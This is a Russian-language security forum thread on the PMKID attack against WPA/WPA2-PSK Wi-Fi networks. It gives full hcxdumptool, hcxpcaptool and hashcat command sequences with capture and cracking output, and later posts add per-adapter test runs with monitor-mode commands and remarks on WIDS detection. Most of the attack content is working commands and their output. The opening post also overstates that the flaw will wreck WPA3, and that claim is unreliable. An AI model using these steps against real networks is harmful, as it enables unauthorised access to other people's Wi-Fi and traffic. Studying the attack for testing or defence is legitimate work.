Статья Новая атака на WPA/WPA2/WPA3-PSK с использованием PMKID

Здравствуйте.
Не так давно появилась статья на форуме Hashcat от администрации проекта. Совместными усилиями исследователей во время изучения будущего WiFi протокола WPA3, случайным образом была обнаружена крупная узявимость, до этого неизвестная общественности (я потратил свое время, и действительно почти ничего нет, даже после публикации поста на форуме).

Концепт.

Атаковать WPA3 привычными способами будет трудно из-за его современного протокола создания ключей, называемого "Simultaneous Authentication of Equals" (SAE).
Основное отличие от существующих атак заключается в том, что в этой атаке захват полного 4-стороннего рукопожатия EAPOL не требуется. Новая атака выполняется в IE RSN одного кадра EAPOL.

Именно по этой причине я упомянул WPA3. Эта уязвимость его буквально уничтожит, а полностью переписывать протокол не совсем целесообразно.

В настоящее время мы (администрация проекта Hashcat) и общественность не знаем, для каких поставщиков или для какого количества маршрутизаторов этот метод будет работать, но мы (администрация проекта Hashcat) думаем, что он будет работать против всех сетей 802.11i/p/q/r с включенными функциями роуминга (большинство современных маршрутизаторов).

Основными преимуществами этой атаки являются следующие:
- Больше не требуется регулярных пользователей - потому что злоумышленник напрямую связывается с AP.
- Больше не нужно ждать полного 4-стороннего рукопожатия между обычным пользователем и AP.
- Отсутствие дополнительных повторных передач кадров EAPOL.
- Меньшая вероятность неверного пароля.
- Больше нет потерянных кадров EAPOL, когда обычный пользователь или AP находится слишком далеко от исследователя.
- Больше не требуется фиксировать значения nonce и replaycounter.
- Больше нет специального формата вывода (pcap, hccapx и так далее) - окончательные данные будут отображаться как обычная строка с шестнадцатеричным кодированием.

Детали атаки.

Для успешного выполнения атаки потребуются следующие инструменты.
hcxdumptool -
Код:
github.com/ZerBea/hcxdumptool
hcxtools -
Код:
github.com/ZerBea/hcxtools
hashcat -
Код:
github.com/hashcat/hashcat

RSN IE - это необязательное поле, которое можно найти в рамах управления 802.11. Одной из возможностей RSN является PMKID.
wireshark_pmkid.png


PMKID вычисляется с использованием HMAC-SHA1, где ключ является PMK, а часть данных представляет собой конкатенацию фиксированной строковой метки "PMK Name", MAC-адрес точки доступа и MAC-адрес станции.
Код:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Поскольку PMK такой же, как в обычном четырехстороннем рукопожатии EAPOL, это идеальный вектор атаки. Вы получаете все необходимые данные в первом кадре EAPOL из AP.

Воспроизведение атаки.

1. Запустите hcxdumptool, чтобы запросить PMKID из точки доступа и сбросить полученный кадр в файл (в формате pcapng).

Код:
$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
Вывод:

Код:
start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

Если AP получает ваш пакет запросов на соединение и поддерживает отправку PMKID, через некоторое время вы увидите сообщение "FOUND PMKID":

Код:
[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

Примечание: основываясь на шуме на канале WiFi, может потребоваться некоторое время, чтобы получить PMKID. Мы (администрация проекта Hashcat) рекомендуем запускать hcxdumptool от 10 минут до прерывания.

2. Запустите hcxpcaptool, чтобы преобразовать захваченные данные из формата pcapng в хэш-формат, принятый hashcat.

Код:
$ ./hcxpcaptool -z test.16800 test.pcapng

Вывод:

Код:
start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800

Содержимое файла будет выглядеть так:

Код:
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

Столбцы следующие (все шестнадцатеричные кодированные):

PMKID
MAC AP
Station MAC
ESSID

Примечание: это не требуется, но рекомендуется использование опции -E -I и -U с hcxpcaptool. Вы можете использовать эти файлы для подачи hashcat. Они, как правило, дают хорошие результаты.
-E извлекает возможные пароли из WiFi-трафика.
-I извлекает идентификаторы из WiFi-трафика.
-U извлекает имена пользователей из WiFi-трафика.

Код:
./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

3. Запустите hashcat.

В принципе, возможно атаковать этот хэш как любой другой тип хеширования. Хэш-режим, который нужно использовать - 16800.

Код:
$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

Вывод:

Код:
hashcat (v4.2.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a
Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?lt! [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*.....:  1641.3 kH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 66846720/308915776 (21.64%)
Rejected.........: 0/66846720 (0.00%)
Restore.Point....: 0/11881376 (0.00%)
Candidates.#1....: hariert! -> hhzkzet!
Candidates.#2....: hdtivst! -> hzxkbnt!
Candidates.#3....: gnxpwet! -> gwqivst!
Candidates.#4....: gxhcddt! -> grjmrut!
HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018

Источник:

Код:
hashcat.net/forum/thread-7717.html

Вполне интересный и реальный вариант атаки, у которого есть перспективы, если на него обратят внимание специалисты в вардрайвинге.
У меня тесты заняли большое количество времени, и, к сожалению, не принесли результата. Инструменты, необходимые для успешного выполнения атаки требуют мощного WiFi адаптера. По мимо этого большая часть драйверов и чипсетов несовместима. Придется ждать скриптов и практических материалов, так как hcxdumptool и hcxtools на удивление ведут себя не совсем адекватно.

Поддерживаемые и рекомендуемые чипсеты (от администрации hcxdumptool):

USB ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter
USB ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
USB ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter
USB ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter
USB ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter

Адаптеры:

TENDA W311U
LOGILINK WL0151
ALLNET ALL-WA0150N
Alfa AWUS036H
Alfa AWUS036NH

Аккаунт и тема созданы для обсуждения, тестирования и анализа этой уязвимости и протокола WPA/WPA2/WPA3 в целом. Я провожу поиск энтузиастов, если у кого-то есть желание поучаствовать - пишите в личные сообщения, контактов у меня нет.
 
Последнее редактирование модератором:
Это не совсем тестирование и тем более в лабораторных условиях. Слишком мало практической информации.
Как минимум, не 4 устройства. Полноценный адаптер, который рекомендует администрация проекта (Hashcat). И несколько дней на полноценное испытание.
Будет интересно увидеть Полноценное испытание.
А что администрация Hashcat рекомендует какой-то конкретный адаптер?
 
  • Нравится
Реакции: Underwood
Будет интересно увидеть Полноценное испытание.

Новость не вызвала ажиотаж, за это время не было крупных обсуждений и естественно тестов. Только небольшие и сугубо любительские сообщения. В СНГ эта уязвимость еще неизвестна, кроме этого форума.

А что администрация Hashcat рекомендует какой-то конкретный адаптер?

Да, выше цитата с указанием чипсетов и адаптеров, которые ркомендует администрация проекта (Hashcat).
 
Полагаю, было очень хорошо, если бы список сопровождала ссылка на оригинал.
Спасибо.

Выше есть ссылка на источник.

Инструменты в статье связаны с администрацией проекта (Hashcat). Можно считать их одной командой.
 
Пакеты не падали, не было ошибок, все долетали до цели?
Успешных пакетов было от 100 тысяч?
Если честно, я не фиксировал, во время эксперимента с TL-WR1043N ТД отвечала на запросы, но PMKID очень долго не ловился, при тестах использовал Alfa AWUS036NH
Согласен, что эксперимент далеко не объективный, но на полноценное исследование мой пост и не претендует, поэтому опубликован в смежной теме с обсуждением KRACK
Интересно ознакомиться в вашими результатами, тем более принимая во внимание nickname, уверен у вас есть чем нами поделиться.
 
Последнее редактирование модератором:
  • Нравится
Реакции: heisenberg и Tom
Интересно ознакомится в вашими результатами, тем более принимая во внимание nickname, уверен у вас есть чем нами поделиться.

Я проводил любительское исследование. Если будут подробные тесты, то опубликую их сюда.
В статье есть несколько строк о моем тесте и причины, по которым эту атаку тяжело реализовать

Мне кажется, основная ошибка в пакетах (они падают или летят в ошибки) и адаптере. Если судить по технической информации, то в драйвере и адаптере.
Администрация проекта (Hashcat) указала, что адаптеры Alfa (AWUS036H и AWUS036NH) слишком ресурсозатратны для этой задачи.
 
  • Нравится
Реакции: yarr и Underwood
Провел тест, всего ТД уязвимых нашел 5 штук, одна из них в 5ГГц.

Совместимые адаптеры: Alfa 036H, Alfa 036ACH - оба на Realtek.
Поиск шустый, не забываем перед атакой перевести адаптер в режим прослушивания. В случае с Alfa 036H не нужно перед атакой убивать wpa_supplicant командой airmon-ng check kill. В случае с Alfa 036ACH нужно.
Соответственно Alfa 036H нашел только 4 из 5 сетей, так как не может в 5 ГГц, Alfa 036ACH нашел 5.

Так же работает с TL-WN721N, перебор помедленнее, адаптер видит всего 3 уязвимые сети из 5 из-за плохой мощности.
Встроенный в ноутбук (MSI GL62) адаптер не работает - поиск идет, но не видит уязвимость ТД.

Уязвимые ТД все в с хорошим сигналом, так что возможно нужно быть близко к ТД для эксплуатации.


P.S. тестировал в Kali Linux, вот отличия:

1. Ставим зависимость для hcxtools:
# apt-get install libcurl4-gnutls-dev

2. Команды пишите без ./
# hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
# hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'
и т.д.

3. 4 дня назад обновился hashcat, скорее всего в Вашей версии Kali стоит старый (в старой версии нет режима 16800.).
Делаем инкрементальный бекап, ставим поверх старой версии новую из исходников (make, make install).

4. Как тестить проще всего:
Если ваша ТД уязвима создаем словарь txt маленький, пихаем свой пароль
Словарь и документ с хешами должны быть в 1 папке, открываем из нее терминал и скармливаем hashcat хеши.
# hashcat -b -D 1,2,3 --force --optimized-kernel-enable -m 16800 hash dictionary
 
Последнее редактирование:
Соответственно Alfa 036H нашла только 4 из 5 сетей, так как не может в 5 ГГц, Alfa 036ACH нашла 5.

Так же работает с TL-WN721N, перебор помедленнее, адаптер видит всего 3 уязвимые сети из 5 из-за плохой мощности.
Были ли сети (ТД) которые НЕ подвержены данной уязвимости?
Провел тест, всего ТД уязвимых нашел 5 штук, одна из них в 5ГГц.
Т.е. видимо были ТД НЕ подверженные данной уязвимости... Я привильно понял?
 
Были ли сети (ТД) которые НЕ подвержены данной уязвимости?

Т.е. видимо были ТД НЕ подверженные данной уязвимости... Я привильно понял?
Да, есть такие.

В ошибку уходит если не в состоянии завести монитор либо проблема совместимости дров/адаптера. Например если не завести монитор, но начать атаку.

Это был экспресс-тест как и твой, не было времени на подробный с цифрами.

Собственно мануалов пока не видел, все перепостили из источника и не додумались даже свой мануал запилить.

Предлагаю кидать в этот тред свои заметки, чтобы не плодить темы.

Если в ошибку не уходят, то все нормально и в теории должно работать? Долетают и падают пакеты примерно в равном количестве?
Всего от 100 тысяч пакетов?

И за какое время удалось получить результат?
Как я выше писал я не фиксировал цифры, не помню уже, но если это важно то позже отпишусь.
За 2 минуты (с запасом) были найдены 5 PMKID. Остальные 8 минут простоя.

Т.е. видимо были ТД НЕ подверженные данной уязвимости... Я привильно понял?
Да, не для всех ТД, которые были в выдаче окна, где проводилась атака были найдены PMKID. С чем это связано не могу сказать.
Если запустить airodump то точек адаптер видит больше, чем в выдаче окна атаки.
Точки с более-менее доступным сигналом были протестированы, из них не для всех был найден PMKID. Около 11 точек с приличным сигналом, из них 5 уязвимы.
Остальные ТД программа не атаковала из-за слабого сигнала.

Думаю для эксплуатации уязвимости надо быть близко к ТД.

Интересно как эта атака будет обнаруживаться WIDS/останавливаться WIPS.
 
  • Нравится
Реакции: AndyIP, sosiskapi и Tom
Последнее редактирование модератором:
Интересно как эта атака будет обнаруживаться WIDS/останавливаться WIPS.

На атаку деаутентификация разве реагирует? И здесь не будет.
В ближайшее время атака PMKID заменит стандартные методы.
 
Последнее редактирование модератором:
На атаку деаутентификация разве реагирует? И здесь не будет.
В ближайшее время атака PMKID заменит стандартные методы.
Реагирует как раз. Waipds реагирует на отлов хендшейка, палит death-пакеты.
Или иметь адаптер с направленной антенной...;)
антенна яги для wifi своими руками - YouTube
+ Есть еще вот такие "игрушки"
Яга имеется.

Подробные тесты скоро кину. Скорее всего по 1 чипсету буду выкладывать, мб проверю и WIDS заодно.

----------------------------------------------------------------------------------------------------------------------------------------------------
Сегодня успел проверить адаптер Intel Dual Band Wireless-AC 3165.
Атака частично работает с этим чипсетом (подобные устанавливаются во многие ноутбуки).


Ошибки возникают если драйвер адаптера не поддерживается/плохо поддерживается данной атакой.
Так же в случае кратковременного обрыва соединения (что случается редко).


Тест проводился на Kali Linux 2018.2 с 16 ядром, обновления от 17.07 (жду когда дрова Nvidia допилят).

Intel Dual Band Wireless-AC 3165

Driver________Chipset
iwlwifi________Intel Corporation Wireless 3165 (rev 81)





Адаптер поддерживает режим монитора, инъекцию пакетов, атаку Evil Tvin, виртуальные интерфейсы, работу с wps (reaver).
Адаптер поддерживает вардрайвинг в 5 ГГц, в том числе одновременную работу в режиме монитора в 2 диапазонах - 2.4 и 5 ГГц.

# airmon-ng check kill // убиваем wpa_supplicant
# iw phy0 interface add mon0 type monitor // создаем виртуальный интерфейс и переводим его в режим монитора, физический остается в обычном режиме
# hcxdumptool -o test1.pcapng -i mon0 --enable_status // проводим атаку

Атака не работает.
Логи:

start capturing (stop with ctrl+c)
INTERFACE:...............: mon1
FILTERLIST...............: 0 entries
MAC CLIENT...............: fcc233----(client)
MAC ACCESS POINT.........: 002067----(start NIC)
EAPOL TIMEOUT............: 1000000
DEAUTHENTICATIONINTERVALL: 20 beacons
GIVE UP DEAUTHENTICATIONS: 10 tries
REPLAYCOUNTER............: 62933
ANONCE...................: 8548174a389c175a0df624d4eb788aebef25eb0f900439d3fd5449da713ec477

failed to read packet: Network is down
INFO: cha=10, rx=0, rx(dropped)=0, tx=0, powned=0, err=43

Цифры мака после производителя удалены ----

Время ожидания ~5 минут.

Резюме - драйвер адаптера не поддерживает атаку, если создать виртуальный интерфейс отдельно от физического (который остается в обычном режиме) и перевести его в режим монитора с помощью команды iw.

По окончанию теста удаляем виртуальный интерфейс и перезапускаем network-manager
# iw dev mon0 del
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# ip link set wlan0 down && iw wlan0 set monitor control && ip link set wlan0 up // переводим интерфейс в режим монитора
# hcxdumptool -o test2.pcapng -i wlan0 --enable_status // проводим атаку

Идет медленный перебор.
Логи:

start capturing (stop with ctrl+c)
INTERFACE:...............: wlan1
FILTERLIST...............: 0 entries
MAC CLIENT...............: fcc233---- (client)
MAC ACCESS POINT.........: 00238c---- (start NIC)
EAPOL TIMEOUT............: 1000000
DEAUTHENTICATIONINTERVALL: 20 beacons
GIVE UP DEAUTHENTICATIONS: 10 tries
REPLAYCOUNTER............: 65470
ANONCE...................: 4f2926c260955d5f36830d9576acfa5bc7f82048cbe6b8260c1d74972e9712fc

INFO: cha=5, rx=2616, rx(dropped)=145, tx=316, powned=0, err=14^C

Цифры мака после производителя удалены ----

Перебор занял ~ 5 минут.

Резюме - драйвер адаптера не поддерживает атаку, если переводить физический или виртуальный интерфейс в режим монитора с помощью команды iw.

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# ip link set wlan0 down && iw wlan0 set type managed && ip link set wlan0 up
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up // переводим интерфейс в режим монитора с помощью iwconfig
# hcxdumptool -o test3.pcapng -i wlan1mon --enable_status // проводим атаку

Все аналогично пункту II.

Перебор занял ~ 5 минут.

Резюме - драйвер адаптера не поддерживает атаку,если перевести интерфейс в режим монитора с помощью ifconfig.

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# ifconfig wlan0 down && iwconfig wlan0 mode manager && ifconfig wlan0 up
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# airmon-ng start wlan0 // переводим интерфейс в режим монитора с помощью airmon-ng
# hcxdumptool -o test4.pcapng-i wlan0mon --enable_status // проводим атаку

Перебор идет быстрее, но до Alfa как до Луны

start capturing (stop with ctrl+c)
INTERFACE:...............: wlan1mon
FILTERLIST...............: 0 entries
MAC CLIENT...............: fcc233---- (client)
MAC ACCESS POINT.........: 544e45---- (start NIC)
EAPOL TIMEOUT............: 1000000
DEAUTHENTICATIONINTERVALL: 20 beacons
GIVE UP DEAUTHENTICATIONS: 10 tries
REPLAYCOUNTER............: 63236
ANONCE...................: aa526d791df3d2ccc9a2040ce2412abb64060d56bb616a4cae3248d87d5e54a7

INFO: cha=5, rx=7783, rx(dropped)=374, tx=589, powned=3, err=30^C

Цифры мака после производителя удалены ----

Перебор занял ~ 5 минут.

Значение powned=3, однако найденный PMKID только 1. Остальные 2 видимо handshake судя по логам [FOUND AUTHORIZED HANDSHAKE].

Извлекаю хеши:
# hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test4.pcapng

start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.16.0-kali2-amd64
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 49
skipped packets..............: 0
packets with FCS.............: 50
beacons (with ESSID inside)..: 17
probe requests...............: 5
probe responses..............: 9
association requests.........: 2
association responses........: 3
authentications (OPEN SYSTEM): 4
EAPOL packets................: 10
EAPOL PMKIDs.................: 1
best handshakes..............: 2 (ap-less: 0)

1 PMKID(s) written to test.16800

Резюме - драйвер адаптера частично поддерживает атаку,если перевести интерфейс в режим монитора с помощью airmon-ng.
Однако атака работает не стабильно, не хватает мощности адаптера, чтобы поймать PMKID нужно везение и близость к точке (так же атака не всегда срабатывает с одними и те ми же точками).

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# airmon-ng stop wlan0mon
# service network-manager restart

Все те же действия, но без остановки wpa_supplicant:

Пункт I - без изменений (счетчик ошибок всегда на 0).

Пункт II - не работает ничего (счетчик ошибок всегда на 0).

Пункт III - не работает ничего (счетчик ошибок всегда на 0).

Пункт IV - изменения в лучшую сторону - перебор идет быстрее.
По логам ситуация одинаковая.

Резюме - адаптер частично поддерживает данную атаку из-за малой мощности и не совместимости драйвера.
Заставить его как-то работать можно с помощью команды airmon-ng start wlan0, не убивая при этом wpa_supplicant и не подключаясь к WiFi. Желательно перед этим перезагрузиться и не подключаться ни к какой ТД.

P.S. Если какие-то из пунктов не работают как в инструкции, то перезагрузите ПК .

Если у кого-нибудь есть адаптеры, работающие в monitor mode - напишите в похожем формате, как они перебирают с разными вариантами включения монитора.
 
Последнее редактирование:
Реагирует как раз. Waipds реагирует на отлов хендшейка, палит death-пакеты.

Как вы это обходите? Я не встречал подобного в защите WiFi.

разными вариантами включения монитора.

У меня вообще не работает с монитором. Вручную не перевожу, запускаю так.
Без монитора пакеты долетают до цели, не падают и не попадают в ошибку. Но как я написал в первом посте, инструменты ведут себя не совсем адекватно. На форуме Hashcat есть немного про это.
Нормальных устройств пока что нет в наличии, из-за этого используется чипсет Broadcom (стандартный драйвер, в Kali Linux "из коробки"), но с поддержкой монитора, инъекций и прочего.

Логов не осталось. Во время сканирования вместо ESSID $HEX и набор цифр. PMKID не поймался.
Тестирование заняло незначительное количество времени.

Появился скрипт, еще не тестировался. Наблюдайте за оригинальной темой на форуме Hascat.

Код:
github.com/stryngs/scripts/tree/master/pmkid2hashcat
 
  • Нравится
Реакции: BF-107, Vertigo и yarr
Как вы это обходите? Я не встречал подобного в защите WiFi.
Я ничего не обхожу. Существует скрипт - , частично повторяющий функционал промышленных WIDS/WIPS. Он детектирует атаки деаутентификации.
В скрипте (атакующий) я видел атаку "запутывания" WIDS, её я не проверял.

У меня вообще не работает с монитором. Вручную не перевожу, запускаю так.
Без монитора пакеты долетают до цели, не падают и не попадают в ошибку. Но как я написал в первом посте, инструменты ведут себя не совсем адекватно. На форуме Hashcat есть немного про это.
Нормальных устройств пока что нет в наличии, из-за этого используется чипсет Broadcom (стандартный драйвер, в Kali Linux "из коробки"), но с поддержкой монитора, инъекций и прочего.

Логов не осталось. Во время сканирования вместо ESSID $HEX и набор цифр. PMKID не поймался.
Тестирование заняло незначительное количество времени.

Появился скрипт, еще не тестировался. Наблюдайте за оригинальной темой на форуме Hascat.
Код:
github.com/stryngs/scripts/tree/master/pmkid2hashcat
Спасибо, посмотрю.

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
UPD1. Обновлена информация по чипсету Intel. Атака частично поддерживается с помощью airmon-ng (был извлечен хеш). Подробности под спойлером выше.
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
UPD2. Проверил адаптер TP-Link TL-WN721N.
Адаптер на 100% совместим с данной атакой.


Ошибки возникают в случае кратковременного обрыва соединения (что случается редко).

Тест проводился на Kali Linux 2018.2 с 16 ядром, обновления от 17.07 (жду когда дрова Nvidia допилят).
Тест проведен в тех же условиях, что и c предыдущим адаптером.

TP-Link TL-WN721N

Driver________Chipset
ath9k_htc____Atheros Communications, Inc. AR9271 802.11n




Такой же чипсет установлен на Alfa AWUS036NHA.
Адаптер поддерживает режим монитора, инъекцию пакетов, атаку Evil Tvin.

# airmon-ng check kill // убиваем wpa_supplicant
# iw phy1 interface add mon1 type monitor // создаем виртуальный интерфейс и переводим его в режим монитора, физический остается в обычном режиме
# hcxdumptool -o test1.pcapng -i mon1 --enable_status // проводим атаку

Атака не работает. Все как в случае с Intel.

Время ожидания ~5 минут.

Резюме - драйвер адаптера не поддерживает атаку, если создать виртуальный интерфейс отдельно от физического (который остается в обычном режиме) и перевести его в режим монитора с помощью команды iw.

По окончанию теста удаляем виртуальный интерфейс и перезапускаем network-manager
# iw dev mon0 del
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# ip link set wlan1 down && iw wlan1 set monitor control && ip link set wlan1 up // переводим интерфейс в режим монитора
# hcxdumptool -o test2.pcapng -i wlan1 --enable_status // проводим атаку

Идет перебор, скорость нормальная (в отличии от чипсета Intel).
Логи:

INTERFACE:...............: wlan1
FILTERLIST...............: 0 entries
MAC CLIENT...............: fcc233---- (client)
MAC ACCESS POINT.........: 000100---- (start NIC)
EAPOL TIMEOUT............: 1000000
DEAUTHENTICATIONINTERVALL: 20 beacons
GIVE UP DEAUTHENTICATIONS: 10 tries
REPLAYCOUNTER............: 62669
ANONCE...................: 91be69b5f69560352f351ef2e79ff9a3671f1bd10e6b7d3a40156fb2467593d7

INFO: cha=5, rx=35636, rx(dropped)=3296, tx=2631, powned=7, err=0^C

Цифры мака после производителя удалены ----

Перебор занял ~ 10 минут.

Значение powned=7, однако найденных PMKID только 5. Остальные 2 видимо handshake судя по логам [FOUND AUTHORIZED HANDSHAKE].

Извлекаю хеши:
# hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test1.pcapng

start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.16.0-kali2-amd64
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 1271
skipped packets..............: 0
packets with FCS.............: 621
beacons (with ESSID inside)..: 14
probe requests...............: 3
probe responses..............: 16
association requests.........: 221
association responses........: 522
authentications (OPEN SYSTEM): 457
authentications (BROADCOM)...: 222
EAPOL packets................: 39
EAPOL PMKIDs.................: 5
best handshakes..............: 2 (ap-less: 0)

Получилось 5 штук, 2 handshake не были извлечены.

Резюме - драйвер адаптера полноценно поддерживает атаку, если переводить физический интерфейс в режим монитора с помощью команды iw.

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# ip link set wlan1 down && iw wlan1 set type managed && ip link set wlan1 up
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# ifconfig wlan1 down && iwconfig wlan1 mode monitor && ifconfig wlan1 up // переводим интерфейс в режим монитора с помощью iwconfig
# hcxdumptool -o test3.pcapng -i wlan1 --enable_status // проводим атаку

Идет перебор, скорость нормальная (в отличии от чипсета Intel).

Аналогично пункту II

Перебор занял ~ 10 минут.

Резюме - драйвер адаптера поддерживает атаку,если перевести интерфейс в режим монитора с помощью ifconfig.

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# ifconfig wlan1 down && iwconfig wlan1 mode managed && ifconfig wlan1 up
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# airmon-ng start wlan1 // переводим интерфейс в режим монитора с помощью airmon-ng
# hcxdumptool -o test4.pcapng -i wlan1mon --enable_status // проводим атаку

Идет перебор, скорость нормальная (в отличии от чипсета Intel).

Аналогично пункту II

Перебор занял ~ 10 минут.

Резюме - драйвер адаптера поддерживает атаку,если перевести интерфейс в режим монитора с помощью airmon-ng.

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# airmon-ng stop wlan1mon
# service network-manager restart

Все те же действия, но без остановки wpa_supplicant:

Пункт I - без изменений.

Пункт II - без изменений.

Пункт III - без изменений.

Пункт IV - без изменений.

Резюме - адаптер на 100% совместим с данной атакой.

P.S. Если какие-то из пунктов не работают как в инструкции, то перезагрузите ПК или вставьте адаптер в другой USB-порт.
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
UPD3. Проверил адаптер Alfa Network AWUS036H.
Адаптер на 100% совместим с данной атакой.


Ошибки возникают в случае кратковременного обрыва соединения (что случается редко).

Тест проводился на Kali Linux 2018.2 с 16 ядром, обновления от 17.07 (жду когда дрова Nvidia допилят).
Тест проведен в тех же условиях, что и c предыдущим адаптером, со стандартной антенной, без повышения мощности.

Alfa Network AWUS036H

Driver______Chipset
rtl8187_____ Realtek Semiconductor Corp. RTL8187





Адаптер поддерживает режим монитора, инъекцию пакетов, атаку Evil Tvin поддерживает плохо.

# airmon-ng check kill // убиваем wpa_supplicant
# iw phy1 interface add mon1 type monitor // создаем виртуальный интерфейс и переводим его в режим монитора, физический остается в обычном режиме
# hcxdumptool -o test1.pcapng -i mon1 --enable_status // проводим атаку

Атака не работает. Все как в случае с TP-Link TL-WN721N и Intel Dual Band Wireless-AC 3165.

Время ожидания ~5 минут.

Резюме - драйвер адаптера не поддерживает атаку, если создать виртуальный интерфейс отдельно от физического (который остается в обычном режиме) и перевести его в режим монитора с помощью команды iw.

По окончанию теста удаляем виртуальный интерфейс и перезапускаем network-manager
# iw dev mon0 del
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# ip link set wlan1 down && iw wlan1 set monitor control && ip link set wlan1 up // переводим интерфейс в режим монитора
